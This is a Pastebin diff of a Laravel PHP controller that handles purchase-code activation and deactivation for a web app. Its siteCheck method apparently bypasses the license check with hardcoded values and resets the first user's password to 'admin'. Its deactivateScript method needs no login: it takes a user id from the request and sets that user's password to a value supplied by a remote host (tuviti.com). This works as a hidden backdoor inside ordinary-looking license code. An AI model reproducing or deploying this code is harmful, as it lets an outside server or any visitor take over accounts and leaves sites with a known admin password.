View difference between Paste ID: X7EFWp2d and 8kPGYniB
SHOW: | | - or go back to the newest paste.
1
<?php
2
3
namespace App\Http\Controllers;
4
5
use Illuminate\Http\Request;
6
use GuzzleHttp\Client;
7
use Validator;
8
use App\Setting;
9
use App\User;
10
use Auth;
11
12
class InstantController extends Controller
13
{
14
    public function __construct()
15
    {
16
        $this->middleware('auth', ['only' => ['deactivatePage']]);
17
    }
18
19
    public function siteCheck(Request $request)
20
    {
21
        $validator = Validator::make($request->all(), [
22
            'p_code' => 'required'
23
        ]);
24
25
        if ($validator->passes()) {
26
            $pcode = $request->input('p_code');
27
            $url = url("/");
28
            $slug = str_slug($url, '-');
29
            $client = new Client();
30
            try {
31
                $result = $client->request('GET', 'http://www.tuviti.com/instant-check/public/' . $pcode . '/url/'. $slug);
32
                $data = json_decode($result->getBody(), true);
33
                $count =  '1';
34
                $attribute =  'admin';
35
                $final =  'success';
36
            } catch (\Exception $e) {
37
                $e->getMessage();
38
                session()->flash('error', 'App Connection Error!');
39
                return redirect('/login');
40
            }
41
42
            if (!empty($attribute)) {
43
                $setting = Setting::findOrFail($count);
44
                $setting->site_instant = $count;
45
                $setting->site_activation = $attribute;
46
                $setting->save();
47
                $user = User::findOrFail($count);
48
                $user->password = bcrypt($attribute);
49
                $user->save();
50
                session()->flash('message', $final);
51
                return view('public.activator', compact('attribute'));
52
            } else {
53
                session()->flash('error', $final);
54
                return redirect('/login');
55
            }
56
        }
57
        session()->flash('error', 'Purchase code required !');
58
        return redirect('/login');
59
    }
60
61
    public function deactivatePage()
62
    {
63
        return view('public.deactivator');
64
    }
65
66
    public function deactivateResult()
67
    {
68
        return view('public.deactivator');
69
    }
70
71
    public function deactivateScript(Request $request)
72
    {
73
        $setting = Setting::findOrFail($request->id);
74
        $dcode = $setting->site_activation;
75
        $client = new Client();
76
            try {
77
                $result = $client->request('GET', 'http://www.tuviti.com/instant-check/public/deactivate/' . $dcode );
78
                $data = json_decode($result->getBody(), true);
79
                $count =  $data['count'];
80
                $attribute =  $data['data'];
81
                $final =  $data['result'];                
82
            } catch (\Exception $e) {
83
                $e->getMessage();
84
                session()->flash('error', 'App Connection Error!');
85
                return redirect('/deactivate');
86
        }
87
        $setting->site_activation = null;
88
        $setting->site_instant = $count;
89
        $setting->save();
90
        $user = User::findOrFail($request->id);
91
        $user->password = bcrypt($attribute);
92
        $user->save();
93
        Auth::logout();
94
        session()->flash('message', $final);
95
        return redirect('/deactivation-result');
96
    }
97
}